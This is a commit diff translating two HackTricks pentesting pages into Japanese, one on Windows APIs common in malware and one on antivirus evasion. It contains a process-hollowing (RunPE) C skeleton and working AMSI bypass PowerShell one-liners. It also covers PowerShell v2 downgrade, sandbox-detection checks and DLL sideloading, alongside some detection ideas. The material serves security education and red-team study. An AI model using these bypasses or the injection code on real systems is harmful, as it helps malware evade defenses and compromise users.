Translated ['src/reversing/common-api-used-in-malware.md', 'src/windows-

This commit is contained in:
Translator 2025-08-18 12:20:52 +00:00
parent 4c863806d5
commit 8120b3d0da
2 changed files with 177 additions and 86 deletions

View File

@ -19,7 +19,7 @@
### 永続性 ### 永続性
| Registry | File | Service | | レジストリ | ファイル | サービス |
| ---------------- | ------------- | ---------------------------- | | ---------------- | ------------- | ---------------------------- |
| RegCreateKeyEx() | GetTempPath() | OpenSCManager | | RegCreateKeyEx() | GetTempPath() | OpenSCManager |
| RegOpenKeyEx() | CopyFile() | CreateService() | | RegOpenKeyEx() | CopyFile() | CreateService() |
@ -29,7 +29,7 @@
### 暗号化 ### 暗号化
| Name | | 名前 |
| --------------------- | | --------------------- |
| WinCrypt | | WinCrypt |
| CryptAcquireContext() | | CryptAcquireContext() |
@ -38,34 +38,34 @@
| CryptDecrypt() | | CryptDecrypt() |
| CryptReleaseContext() | | CryptReleaseContext() |
### 解析/VM ### 解析防止/VM
| Function Name | Assembly Instructions | | 関数名 | アセンブリ命令 |
| --------------------------------------------------------- | --------------------- | | --------------------------------------------------- | --------------------- |
| IsDebuggerPresent() | CPUID() | | IsDebuggerPresent() | CPUID() |
| GetSystemInfo() | IN() | | GetSystemInfo() | IN() |
| GlobalMemoryStatusEx() | | | GlobalMemoryStatusEx() | |
| GetVersion() | | | GetVersion() | |
| CreateToolhelp32Snapshot \[プロセスが実行中か確認] | | | CreateToolhelp32Snapshot \[プロセスが実行中か確認] | |
| CreateFileW/A \[ファイルの存在確認] | | | CreateFileW/A \[ファイルの存在確認] | |
### ステルス ### ステルス
| Name | | | 名前 | |
| ------------------------ | -------------------------------------------------------------------------- | | ------------------------ | -------------------------------------------------------------------------- |
| VirtualAlloc | メモリを割り当てる (packers) | | VirtualAlloc | メモリを割り当てる (パッカー) |
| VirtualProtect | メモリの権限を変更する (packerがセクションに実行権限を与える) | | VirtualProtect | メモリの権限を変更する (パッカーがセクションに実行権限を与える) |
| ReadProcessMemory | 外部プロセスへの注入 | | ReadProcessMemory | 外部プロセスへの注入 |
| WriteProcessMemoryA/W | 外部プロセスへの注入 | | WriteProcessMemoryA/W | 外部プロセスへの注入 |
| NtWriteVirtualMemory | | | NtWriteVirtualMemory | |
| CreateRemoteThread | DLL/プロセス注入... | | CreateRemoteThread | DLL/プロセス注入... |
| NtUnmapViewOfSection | | | NtUnmapViewOfSection | |
| QueueUserAPC | | | QueueUserAPC | |
| CreateProcessInternalA/W | | | CreateProcessInternalA/W | |
### 実行 ### 実行
| Function Name | | 関数名 |
| ---------------- | | ---------------- |
| CreateProcessA/W | | CreateProcessA/W |
| ShellExecute | | ShellExecute |
@ -118,22 +118,76 @@ DLLはプロセス内にマッピングされ、インポートアドレスを
ポータブル実行注入: 実行可能ファイルは被害者プロセスのメモリに書き込まれ、そこから実行される。 ポータブル実行注入: 実行可能ファイルは被害者プロセスのメモリに書き込まれ、そこから実行される。
### プロセスホロウイング ### プロセスホロウイング (別名 **RunPE**)
`Process Hollowing` はWindowsマルウェアによって使用されるお気に入りの**防御回避/実行**トリックの一つです。アイデアは、**一時停止**状態で*正当な*プロセスを起動し、その元のイメージをメモリから削除(ホロウ)し、**任意のPE**をその場所にコピーすることです。プライマリスレッドが最終的に再開されると、悪意のあるエントリポイントが信頼されたバイナリのふりをして実行されますしばしばMicrosoftによって署名されています
典型的なワークフロー:
1. 無害なホストを生成する (例: `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`) **一時停止**して、まだ命令が実行されないようにします。
```c
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe",
NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
```
2. 悪意のあるペイロードをメモリに読み込み、そのPEヘッダーを解析して`SizeOfImage`、セクション、新しい`EntryPoint`を取得します。
3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** 一時停止されたプロセスの元のイメージベースをアンマップします。
4. **VirtualAllocEx** リモートプロセス内に`SizeOfImage`のRWXメモリを予約します。
5. **WriteProcessMemory** 最初に`Headers`をコピーし、その後セクションを反復して生データをコピーします。
6. **SetThreadContext** コンテキスト構造内の`EAX/RAX`x64では`RCX`)または`Rip`の値をパッチして、`EIP`がペイロードの`EntryPoint`を指すようにします。
7. **ResumeThread** スレッドが続行し、攻撃者が提供したコードを実行します。
最小限の概念実証 (x86) スケルトン:
```c
void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){
// 1. create suspended process
STARTUPINFOA si = {sizeof(si)}; PROCESS_INFORMATION pi;
CreateProcessA(host, NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
// 2. read remote PEB to get ImageBaseAddress
CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread,&ctx);
PVOID baseAddr;
ReadProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
// 3. unmap original image & allocate new region at same base
NtUnmapViewOfSection(pi.hProcess,baseAddr);
PVOID newBase = VirtualAllocEx(pi.hProcess,baseAddr,pHdr->OptionalHeader.SizeOfImage,
MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
// 4-5. copy headers & sections …
// 6. write new image base into PEB and set Eip
WriteProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
ctx.Eax = (DWORD)(newBase) + pHdr->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread,&ctx);
// 7. run!
ResumeThread(pi.hThread);
}
```
実践的なメモが**DarkCloud Stealer**キャンペーンで観察されました:
* ローダーはホストとして`RegAsm.exe`.NET Frameworkの一部を選択しました - 注意を引く可能性の低い署名されたバイナリです。
* 復号されたVB6スティーラー`holographies.exe`)はディスクにドロップされず、常に空洞化されたプロセス内に存在するため、静的検出が難しくなります。
* 敏感な文字列正規表現、パス、Telegramの資格情報は、各文字列ごとに**RC4暗号化**され、実行時にのみ復号されるため、メモリスキャンがさらに複雑になります。
検出アイデア:
* メモリ領域が**RWX**として割り当てられる前にGUI/コンソールウィンドウを作成しない`CREATE_SUSPENDED`プロセスに警告を出します(善良なコードでは稀です)。
* 異なるプロセス間での呼び出しシーケンス`NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory`を探します。
マルウェアはプロセスのメモリから正当なコードをアンマップし、悪意のあるバイナリをロードする
1. 新しいプロセスを作成する: CreateProcess
2. メモリをアンマップする: ZwUnmapViewOfSection, NtUnmapViewOfSection
3. プロセスメモリに悪意のあるバイナリを書く: VirtualAllocEc, WriteProcessMemory
4. エントリポイントを設定し、実行する: SetThreadContext, ResumeThread
## フック ## フック
- **SSDT** (**System Service Descriptor Table**) はカーネル関数 (ntoskrnl.exe) またはGUIドライバ (win32k.sys) を指し示し、ユーザープロセスがこれらの関数を呼び出せるようにする。 - **SSDT****System Service Descriptor Table**はカーネル関数ntoskrnl.exeまたはGUIドライバwin32k.sysを指し示し、ユーザープロセスがこれらの関数を呼び出すことができます。
- ルートキットはこれらのポインタを制御するアドレスに変更することができる。 - ルートキットは、制御するアドレスへのポインタを変更することがあります。
- **IRP** (**I/O Request Packets**) はデータの断片を一つのコンポーネントから別のコンポーネントに送信する。カーネル内のほぼすべてのものがIRPを使用し、各デバイスオブジェクトにはフック可能な独自の関数テーブルがある: DKOM (Direct Kernel Object Manipulation) - **IRP****I/O Request Packets**は、コンポーネント間でデータの断片を送信します。カーネル内のほぼすべてのものがIRPを使用し、各デバイスオブジェクトにはフック可能な独自の関数テーブルがありますDKOMDirect Kernel Object Manipulation
- **IAT** (**Import Address Table**) は依存関係を解決するのに役立つ。このテーブルをフックして呼び出されるコードをハイジャックすることが可能である。 - **IAT****Import Address Table**)は依存関係を解決するのに役立ちます。このテーブルをフックして、呼び出されるコードをハイジャックすることが可能です。
- **EAT** (**Export Address Table**) フック。このフックは**ユーザーランド**から行うことができる。目的はDLLによってエクスポートされた関数をフックすることである。 - **EAT****Export Address Table**)フック。このフックは**ユーザーランド**から行うことができます。目的はDLLによってエクスポートされた関数をフックすることです。
- **インラインフック**: このタイプは達成が難しい。これは関数自体のコードを修正することを含む。おそらく、最初にジャンプを置くことによって。 - **インラインフック**:このタイプは達成が難しいです。これは関数自体のコードを修正することを含みます。おそらく、最初にジャンプを置くことによってです。
## 参考文献
- [Unit42 New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -16,11 +16,11 @@
### **静的検出** ### **静的検出**
静的検出は、バイナリやスクリプト内の既知の悪意のある文字列やバイト配列にフラグを立てることによって達成され、ファイル自体から情報を抽出することも含まれます(例:ファイルの説明、会社名、デジタル署名、アイコン、チェックサムなど)。これは、既知の公開ツールを使用すると、分析されて悪意のあるものとしてフラグが立てられている可能性が高いため、簡単に捕まる可能性があることを意味します。この種の検出を回避する方法はいくつかあります: 静的検出は、バイナリやスクリプト内の既知の悪意のある文字列やバイト配列にフラグを立てたり、ファイル自体から情報を抽出したりすることで達成されます(例:ファイルの説明、会社名、デジタル署名、アイコン、チェックサムなど)。これは、既知の公開ツールを使用すると、分析されて悪意のあるものとしてフラグが立てられている可能性が高いため、簡単に捕まる可能性があることを意味します。この種の検出を回避する方法はいくつかあります:
- **暗号化** - **暗号化**
バイナリを暗号化すると、AVがプログラムを検出する方法はなくなりますが、メモリ内でプログラムを復号化して実行するためのローダーが必要になります。 バイナリを暗号化すれば、AVがプログラムを検出する方法はなくなりますが、メモリ内でプログラムを復号化して実行するためのローダーが必要になります。
- **難読化** - **難読化**
@ -28,20 +28,20 @@
- **カスタムツール** - **カスタムツール**
独自のツールを開発すれば、既知の悪シグネチャは存在しませんが、これには多くの時間と労力がかかります。 独自のツールを開発すれば、既知の悪意のあるシグネチャは存在しませんが、これには多くの時間と労力がかかります。
> [!TIP] > [!TIP]
> Windows Defenderの静的検出に対抗する良い方法は[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)です。これは基本的にファイルを複数のセグメントに分割し、Defenderにそれぞれを個別にスキャンさせることで、バイナリ内のフラグが立てられた文字列やバイトを正確に教えてくれます。 > Windows Defenderの静的検出に対抗する良い方法は[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)です。これは基本的にファイルを複数のセグメントに分割し、Defenderにそれぞれを個別にスキャンさせることで、バイナリ内のフラグが立てられた文字列やバイトを正確に教えてくれます。
実践的なAV回避に関するこの[YouTubeプレイリスト](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)をぜひチェックしてください この[YouTubeプレイリスト](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)をチェックすることを強くお勧めします
### **動的分析** ### **動的分析**
動的分析は、AVがバイナリをサンドボックス内で実行し、悪意のある活動を監視することですブラウザのパスワードを復号化して読み取ろうとする、LSASSのミニダンプを実行するなど。この部分は扱いが少し難しいすが、サンドボックスを回避するためにできることはいくつかあります。 動的分析は、AVがバイナリをサンドボックス内で実行し、悪意のある活動を監視することですブラウザのパスワードを復号化して読み取ろうとする、LSASSのミニダンプを実行するなど。この部分は扱いが少し難しいことがありますが、サンドボックスを回避するためにできることはいくつかあります。
- **実行前のスリープ** 実装方法によっては、AVの動的分析を回避するための素晴らしい方法になることがあります。AVはユーザーの作業フローを中断しないようにファイルをスキャンするための時間が非常に短いため、長いスリープを使用するとバイナリの分析を妨げることができます。ただし、多くのAVのサンドボックスは、実装方法によってはスリープをスキップすることができます。 - **実行前のスリープ** 実装方法によっては、AVの動的分析を回避するための素晴らしい方法になることがあります。AVはユーザーの作業フローを中断しないようにファイルをスキャンするための時間が非常に短いため、長いスリープを使用するバイナリの分析を妨げることができます。ただし、多くのAVのサンドボックスは、実装方法によってはスリープをスキップすることができます。
- **マシンのリソースをチェック** 通常、サンドボックスは扱えるリソースが非常に少ない(例:< 2GB RAMためユーザーのマシンを遅くすることはできませんここでは非常にクリエイティブになることもできますたとえばCPUの温度やファンの速度をチェックすることですべてがサンドボックス実装されているわけではありません - **マシンのリソースをチェック** 通常、サンドボックスは扱えるリソースが非常に少ない(例:< 2GB RAMためユーザーのマシンを遅くすることはできませんここでは非常にクリエイティブになることもできますたとえばCPUの温度やファンの速度をチェックすることですべてがサンドボックス内で実装されているわけではありません
- **マシン固有のチェック** "contoso.local"ドメインに参加しているユーザーをターゲットにしたい場合は、コンピュータのドメインをチェックして指定したものと一致するか確認できます。一致しない場合は、プログラムを終了させることができます。 - **マシン固有のチェック** "contoso.local"ドメインに参加しているユーザーをターゲットにしたい場合は、コンピュータのドメインをチェックして指定したものと一致するかどうかを確認できます。一致しない場合は、プログラムを終了させることができます。
Microsoft Defenderのサンドボックスのコンピュータ名はHAL9THであるため、爆発前にマルウェア内でコンピュータ名をチェックできます。名前がHAL9THと一致する場合、Defenderのサンドボックス内にいることを意味するため、プログラムを終了させることができます。 Microsoft Defenderのサンドボックスのコンピュータ名はHAL9THであるため、爆発前にマルウェア内でコンピュータ名をチェックできます。名前がHAL9THと一致する場合、Defenderのサンドボックス内にいることを意味するため、プログラムを終了させることができます。
@ -51,14 +51,14 @@ Microsoft Defenderのサンドボックスのコンピュータ名はHAL9THで
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev チャンネル</p></figcaption></figure> <figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev チャンネル</p></figcaption></figure>
この投稿で以前に述べたように、**公開ツール**は最終的に**検出される**ため、次のことを自問する必要があります: この投稿で以前に述べたように、**公開ツール**は最終的に**検出される**ため、自分自身に何かを尋ねるべきです:
たとえば、LSASSをダンプしたい場合、**本当にmimikatzを使用する必要がありますか**それとも、LSASSをダンプする別のあまり知られていないプロジェクトを使用できますか。 たとえば、LSASSをダンプしたい場合、**本当にmimikatzを使用する必要がありますか**それとも、LSASSをダンプする別のあまり知られていないプロジェクトを使用できますか。
正しい答えはおそらく後者です。mimikatzを例に取ると、これはおそらくAVやEDRによって最もフラグが立てられたマルウェアの一つであり、プロジェクト自体は非常にクールですが、AVを回避するためにそれを扱うのは悪夢です。したがって、達成しようとしていることの代替手段を探してください。 正しい答えはおそらく後者です。mimikatzを例に取ると、これはおそらくAVやEDRによって最もフラグが立てられたマルウェアの一つであり、プロジェクト自体は非常にクールですが、AVを回避するためにそれを扱うのは悪夢です。したがって、達成しようとしていることの代替手段を探してください。
> [!TIP] > [!TIP]
> 回避のためにペイロードを変更する際は、Defenderで**自動サンプル送信をオフにする**ことを確認し、長期的に回避を達成することが目標である場合は、**絶対にVIRUSTOTALにアップロードしないでください**。特定のAVによってペイロードが検出されるかどうかを確認したい場合は、VMにインストールし、自動サンプル送信をオフにし、結果に満足するまでそこでテストしてください。 > 回避のためにペイロードを変更する際は、Defenderで**自動サンプル送信をオフにする**ことを確認してください。そして、長期的に回避を達成することが目標である場合は、**VIRUSTOTALにアップロードしないでください**。特定のAVによってペイロードが検出されるかどうかを確認したい場合は、VMにインストールし、自動サンプル送信をオフにし、結果に満足するまでそこでテストしてください。
## EXEとDLL ## EXEとDLL
@ -85,9 +85,9 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
私はあなたが**DLLハイジャック可能/サイドロード可能なプログラムを自分で調査することを強くお勧めします**。この技術は適切に行えば非常にステルス性がありますが、一般に知られているDLLサイドロード可能なプログラムを使用すると、簡単に捕まる可能性があります。 私はあなたが**DLLハイジャック可能/サイドロード可能なプログラムを自分で調査することを強くお勧めします**。この技術は適切に行えば非常にステルス性がありますが、一般に知られているDLLサイドロード可能なプログラムを使用すると、簡単に捕まる可能性があります。
悪意のあるDLLをプログラムが読み込むことを期待する名前で配置するだけでは、ペイロードは読み込まれません。プログラムはそのDLL内に特定の関数を期待しているためです。この問題を解決するために、**DLLプロキシング/フォワーディング**という別の技術を使用します。 悪意のあるDLLをプログラムが読み込むことを期待する名前で配置するだけでは、ペイロードは読み込まれません。プログラムはそのDLL内に特定の関数を期待しているためこの問題を解決するために、**DLLプロキシ/フォワーディング**という別の技術を使用します。
**DLLプロキシング**は、プログラムがプロキシおよび悪意のあるDLLから元のDLLに対して行う呼び出しを転送し、プログラムの機能を保持しつつ、ペイロードの実行を処理できるようにします。 **DLLプロキシ**は、プログラムがプロキシおよび悪意のあるDLLから元のDLLに行う呼び出しを転送し、プログラムの機能を保持しつつ、ペイロードの実行を処理できるようにします。
私は[@flangvik](https://twitter.com/Flangvik/)の[SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy)プロジェクトを使用します。 私は[@flangvik](https://twitter.com/Flangvik/)の[SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy)プロジェクトを使用します。
@ -111,7 +111,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure> <figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!TIP] > [!TIP]
> 私は**強く推奨**します、DLLサイドローディングについての[S3cur3Th1sSh1tのtwitch VOD](https://www.twitch.tv/videos/1644171543)を視聴し、さらに私たちがより深く議論したことを学ぶために[ippsecのビデオ](https://www.youtube.com/watch?v=3eROsG_WNpE)も見てください。 > 私は**強くお勧め**します、DLLサイドローディングについての[S3cur3Th1sSh1tのtwitch VOD](https://www.twitch.tv/videos/1644171543)を視聴し、さらに私たちがより深く議論したことを学ぶために[ippsecのビデオ](https://www.youtube.com/watch?v=3eROsG_WNpE)もご覧ください。
## [**Freeze**](https://github.com/optiv/Freeze) ## [**Freeze**](https://github.com/optiv/Freeze)
@ -131,12 +131,12 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
## AMSI (アンチマルウェアスキャンインターフェース) ## AMSI (アンチマルウェアスキャンインターフェース)
AMSIは「[ファイルレスマルウェア](https://en.wikipedia.org/wiki/Fileless_malware)」を防ぐために作成されました。最初は、AVは**ディスク上のファイル**のみをスキャンできたため、ペイロードを**直接メモリ内で**実行できれば、AVはそれを防ぐための十分な可視性を持っていませんでした AMSIは「[ファイルレスマルウェア](https://en.wikipedia.org/wiki/Fileless_malware)」を防ぐために作成されました。最初は、AVは**ディスク上のファイル**のみをスキャンできたため、ペイロードを**直接メモリ内で実行**できれば、AVは何も防ぐことができませんでした。なぜなら、十分な可視性がなかったからです
AMSI機能はWindowsのこれらのコンポーネントに統合されています。 AMSI機能はWindowsのこれらのコンポーネントに統合されています。
- ユーザーアカウント制御、またはUACEXE、COM、MSI、またはActiveXインストールの昇格 - ユーザーアカウント制御、またはUACEXE、COM、MSI、またはActiveXインストールの昇格
- PowerShellスクリプト、対話使用、および動的コード評価) - PowerShellスクリプト、対話使用、および動的コード評価)
- Windows Script Hostwscript.exeおよびcscript.exe - Windows Script Hostwscript.exeおよびcscript.exe
- JavaScriptおよびVBScript - JavaScriptおよびVBScript
- Office VBAマクロ - Office VBAマクロ
@ -147,7 +147,7 @@ AMSI機能はWindowsのこれらのコンポーネントに統合されていま
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure> <figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
スクリプトが実行された実行可能ファイルへのパスの前に`amsi:`が付加されていることに注意してください。この場合、powershell.exeです。 スクリプトが実行された実行可能ファイルへのパスの前に`amsi:`が付加されていることに注意してください。この場合、powershell.exeです。
ディスクにファイルを落とさなかったにもかかわらず、AMSIのためにメモリ内で捕まってしまいました。 ディスクにファイルを落とさなかったにもかかわらず、AMSIのためにメモリ内で捕まってしまいました。
@ -159,11 +159,11 @@ AMSIを回避する方法はいくつかあります
AMSIは主に静的検出で機能するため、読み込もうとするスクリプトを変更することは、検出を回避する良い方法となる可能性があります。 AMSIは主に静的検出で機能するため、読み込もうとするスクリプトを変更することは、検出を回避する良い方法となる可能性があります。
ただし、AMSIは複数のレイヤーがあってもスクリプトを難読化解除する能力を持っているため、難読化の方法によっては悪い選択肢となる可能性があります。これにより、回避が簡単ではなくなります。ただし、時には変数名をいくつか変更するだけで済むこともあるため、どれだけフラグが立てられているかによります。 ただし、AMSIは複数のレイヤーがあってもスクリプトを難読化解除する能力があるため、難読化は行い方によっては悪い選択肢となる可能性があります。これにより、回避が簡単ではなくなります。ただし、時には変数名をいくつか変更するだけで済むこともあるため、どれだけフラグが立てられているかによります。
- **AMSIバイパス** - **AMSIバイパス**
AMSIはDLLをpowershellcscript.exe、wscript.exeなどプロセスに読み込むことによって実装されているため、特権のないユーザーとして実行していても簡単に改ざんすることが可能です。このAMSIの実装の欠陥により、研究者たちはAMSIスキャンを回避するための複数の方法を見つけました。 AMSIはpowershellまたはcscript.exe、wscript.exeなどプロセスにDLLをロードすることによって実装されているため、特権のないユーザーとして実行していても簡単に改ざんすることが可能です。このAMSIの実装の欠陥により、研究者たちはAMSIスキャンを回避するための複数の方法を見つけました。
**エラーを強制する** **エラーを強制する**
@ -171,9 +171,9 @@ AMSIの初期化を失敗させるamsiInitFailedことで、現在のプ
```bash ```bash
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
``` ```
すべては、現在のpowershellプロセスでAMSIを無効にするための1行のpowershellコードだけで済みました。この行はもちろんAMSI自体によってフラグが立てられているため、この技術を使用するにはいくつかの修正が必要です。 1行のPowerShellコードで、現在のPowerShellプロセスに対してAMSIを無効にすることができました。この行はもちろんAMSI自体によってフラグが立てられているため、この技術を使用するにはいくつかの修正が必要です。
こに、私がこの [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) から取った修正されたAMSIバイパスがあります。 ちらは、私がこの [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) から取った修正されたAMSIバイパスす。
```bash ```bash
Try{#Ams1 bypass technic nº 2 Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si' $Xdatabase = 'Utils';$Homedrive = 'si'
@ -187,6 +187,8 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true) $Spotfix.SetValue($null,$true)
}Catch{Throw $_} }Catch{Throw $_}
``` ```
注意してください。この投稿が公開されると、おそらくフラグが立てられるので、検出されないことを計画している場合は、コードを公開しない方が良いでしょう。
**メモリパッチ** **メモリパッチ**
この技術は最初に [@RastaMouse](https://twitter.com/_RastaMouse/) によって発見され、amsi.dll内の「AmsiScanBuffer」関数のアドレスを見つけ、それをE_INVALIDARGのコードを返す命令で上書きすることを含みます。これにより、実際のスキャンの結果は0を返し、これはクリーンな結果として解釈されます。 この技術は最初に [@RastaMouse](https://twitter.com/_RastaMouse/) によって発見され、amsi.dll内の「AmsiScanBuffer」関数のアドレスを見つけ、それをE_INVALIDARGのコードを返す命令で上書きすることを含みます。これにより、実際のスキャンの結果は0を返し、これはクリーンな結果として解釈されます。
@ -196,18 +198,18 @@ $Spotfix.SetValue($null,$true)
また、PowerShellを使用してAMSIをバイパスするための他の多くの技術もあります。詳細については、[**このページ**](basic-powershell-for-pentesters/index.html#amsi-bypass)や[**このリポジトリ**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)をチェックしてください。 また、PowerShellを使用してAMSIをバイパスするための他の多くの技術もあります。詳細については、[**このページ**](basic-powershell-for-pentesters/index.html#amsi-bypass)や[**このリポジトリ**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)をチェックしてください。
このツール [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) もAMSIをバイパスするスクリプトを生成します。 このツール[**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail)もAMSIをバイパスするスクリプトを生成します。
**検出された署名を削除する** **検出された署名を削除する**
**[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** のようなツールを使用して、現在のプロセスのメモリから検出されたAMSI署名を削除できます。このツールは、現在のプロセスのメモリをスキャンしてAMSI署名を見つけ、それをNOP命令で上書きすることによって、実質的にメモリから削除します。 **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)**や**[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)**のようなツールを使用して、現在のプロセスのメモリから検出されたAMSI署名を削除できます。このツールは、現在のプロセスのメモリをスキャンしてAMSI署名を見つけ、それをNOP命令で上書きすること、実質的にメモリから削除します。
**AMSIを使用するAV/EDR製品** **AMSIを使用するAV/EDR製品**
AMSIを使用するAV/EDR製品のリストは、**[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** で見つけることができます。 AMSIを使用するAV/EDR製品のリストは、**[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**で見つけることができます。
**PowerShellバージョン2を使用する** **PowerShellバージョン2を使用する**
PowerShellバージョン2を使用すると、AMSIはロードされないため、AMSIによるスキャンなしでスクリプトを実行できます。次のようにできます: PowerShellバージョン2を使用すると、AMSIはロードされないため、AMSIによるスキャンなしでスクリプトを実行できます。これを行うことができます:
```bash ```bash
powershell.exe -version 2 powershell.exe -version 2
``` ```
@ -218,7 +220,7 @@ PowerShell ロギングは、システム上で実行されたすべての Power
PowerShell ロギングをバイパスするには、以下の技術を使用できます: PowerShell ロギングをバイパスするには、以下の技術を使用できます:
- **PowerShell トランスクリプションとモジュール ロギングを無効にする**: この目的のために、[https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) のようなツールを使用できます。 - **PowerShell トランスクリプションとモジュール ロギングを無効にする**: この目的のために、[https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) のようなツールを使用できます。
- **PowerShell バージョン 2 を使用する**: PowerShell バージョン 2 を使用すると、AMSI が読み込まれないため、AMSI によるスキャンなしでスクリプトを実行できます。これを行うには: `powershell.exe -version 2` - **PowerShell バージョン 2 を使用する**: PowerShell バージョン 2 を使用すると、AMSI がロードされないため、AMSI によるスキャンなしでスクリプトを実行できます。これを行うには: `powershell.exe -version 2`
- **管理されていない PowerShell セッションを使用する**: [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) を使用して、防御なしで PowerShell を起動します(これは Cobalt Strike の `powerpick` が使用するものです)。 - **管理されていない PowerShell セッションを使用する**: [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) を使用して、防御なしで PowerShell を起動します(これは Cobalt Strike の `powerpick` が使用するものです)。
## Obfuscation ## Obfuscation
@ -226,16 +228,50 @@ PowerShell ロギングをバイパスするには、以下の技術を使用で
> [!TIP] > [!TIP]
> いくつかの難読化技術はデータを暗号化することに依存しており、これによりバイナリのエントロピーが増加し、AV や EDR による検出が容易になります。これに注意し、機密性が高いか隠す必要があるコードの特定のセクションにのみ暗号化を適用することをお勧めします。 > いくつかの難読化技術はデータを暗号化することに依存しており、これによりバイナリのエントロピーが増加し、AV や EDR による検出が容易になります。これに注意し、機密性が高いか隠す必要があるコードの特定のセクションにのみ暗号化を適用することをお勧めします。
C# のクリアテキストコードを**難読化**したり、バイナリをコンパイルするための**メタプログラミングテンプレート**を生成したり、**コンパイルされたバイナリを難読化**するために使用できるツールはいくつかあります: ### Deobfuscating ConfuserEx-Protected .NET Binaries
- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): .NET アプリケーション用の優れたオープンソースの難読化ツールです。制御フローの難読化、アンチデバッグ、アンチ改ざん、文字列暗号化など、さまざまな保護技術を提供します。特定のコードのチャンクを難読化することも可能なため、お勧めです。 ConfuserEx 2または商業フォークを使用するマルウェアを分析する際には、デコンパイラやサンドボックスをブロックする複数の保護層に直面することが一般的です。以下のワークフローは、信頼性の高い**ほぼ元の IL を復元**し、その後 dnSpy や ILSpy などのツールで C# にデコンパイルできます。
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# 難読化ツール**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): このプロジェクトの目的は、[LLVM](http://www.llvm.org/) コンパイルスイートのオープンソースフォークを提供し、[コードの難読化](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) と改ざん防止を通じてソフトウェアのセキュリティを向上させることです。 1. アンチタムパリングの削除 ConfuserEx はすべての*メソッドボディ*を暗号化し、*モジュール*の静的コンストラクタ(`<Module>.cctor`)内で復号化します。これにより PE チェックサムもパッチされるため、変更が加えられるとバイナリがクラッシュします。**AntiTamperKiller**を使用して暗号化されたメタデータテーブルを特定し、XOR キーを回復し、クリーンなアセンブリを書き換えます:
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator は、`C++11/14` 言語を使用して、外部ツールを使用せず、コンパイラを変更することなく、コンパイル時に難読化されたコードを生成する方法を示しています。 ```bash
